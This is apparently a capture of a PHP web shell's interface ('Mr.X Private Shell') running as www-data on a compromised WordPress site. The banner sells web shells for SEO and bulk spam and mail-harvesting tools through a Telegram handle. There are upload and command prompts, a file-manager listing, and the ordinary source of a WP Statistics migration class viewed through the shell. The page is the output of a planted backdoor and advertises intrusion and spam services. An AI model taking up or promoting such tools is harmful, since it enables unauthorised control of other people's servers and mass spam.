__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Abstracts;

use WP_STATISTICS\Option;
use WP_Statistics\Service\Database\AbstractDatabaseOperation;

/**
 * Abstract base class for database migration operations.
 *
 * Provides methods for managing migration versions, executing migration steps,
 * and handling metadata related to database migrations.
 */
abstract class BaseMigrationOperation extends AbstractDatabaseOperation
{
    /**
     * Target database version for this migration.
     *
     * @var string
     */
    protected $targetVersion;

    /**
     * Current database version.
     *
     * @var string
     */
    protected $currentVersion;

    /**
     * Current migration method being executed.
     *
     * @var string
     */
    protected $method;

    /**
     * List of migration steps and their corresponding versions.
     *
     * @var array
     */
    protected $migrationSteps = [];

    /**
     * Name of the migration operation.
     *
     * @var string
     */
    protected $name;

    /**
     * Initializes the migration operation by retrieving the current database version.
     */
    public function __construct()
    {
        $this->currentVersion = Option::getOptionGroup('db', 'version', '0.0.0');
    }

    /**
     * Retrieves the name of the migration operation.
     *
     * @return string The name of the migration.
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Updates the database version to the specified version.
     *
     * @return void
     */
    public function setVersion()
    {
        if (! $this->isPassed()) {
            return;
        }

        Option::saveOptionGroup('version', $this->targetVersion, 'db');
    }

    /**
     * Sets the current migration method and updates the database version.
     *
     * @param string $method The migration method to set.
     * @param string $version The version associated with the method.
     */
    public function setMethod($method, $version)
    {
        $this->method        = $method;
        $this->targetVersion = $version;
    }

    /**
     * Executes the currently set migration method.
     *
     * @return void
     */
    public function execute()
    {
        if (!method_exists($this, $this->method) || empty($this->targetVersion)) {
            return;
        }

        call_user_func([$this, $this->method]);

        $this->setVersion();
    }

    /**
     * Retrieves the list of migration steps.
     *
     * @return array The migration steps and their associated versions.
     */
    public function getMigrationSteps()
    {
        return $this->migrationSteps;
    }

    /**
     * Sets the migration status to "failed" with an error message.
     *
     * @param string $message The error message describing why the migration failed.
     * @return void
     */
    protected function setErrorStatus($message)
    {
        Option::saveOptionGroup('migration_status_detail', [
            'status' => 'failed',
            'message' => $message
        ], 'db');
    }

    /**
     * Checks whether the migration process is considered to have passed.
     *
     * @return bool|null
     */
    public function isPassed() {
        $details = Option::getOptionGroup('db', 'migration_status_detail', null);

        if (empty($details['status'])) {
            return true;
        }

        if ($details['status'] === 'failed') {
            return;
        }

        return true;
    }
}

Filemanager

Name Type Size Permission Actions
BaseBackgroundProcess.php File 8.05 KB 0644
BaseMetabox.php File 6.38 KB 0644
BaseMigrationManager.php File 1.15 KB 0644
BaseMigrationOperation.php File 3.4 KB 0644
BaseModel.php File 4.54 KB 0644
BasePage.php File 2.01 KB 0644
BaseRestAPI.php File 2.95 KB 0644
BaseTabView.php File 1.9 KB 0644
BaseView.php File 458 B 0644
MultiViewPage.php File 2.63 KB 0644
UnlockedTabView.php File 936 B 0644
Filemanager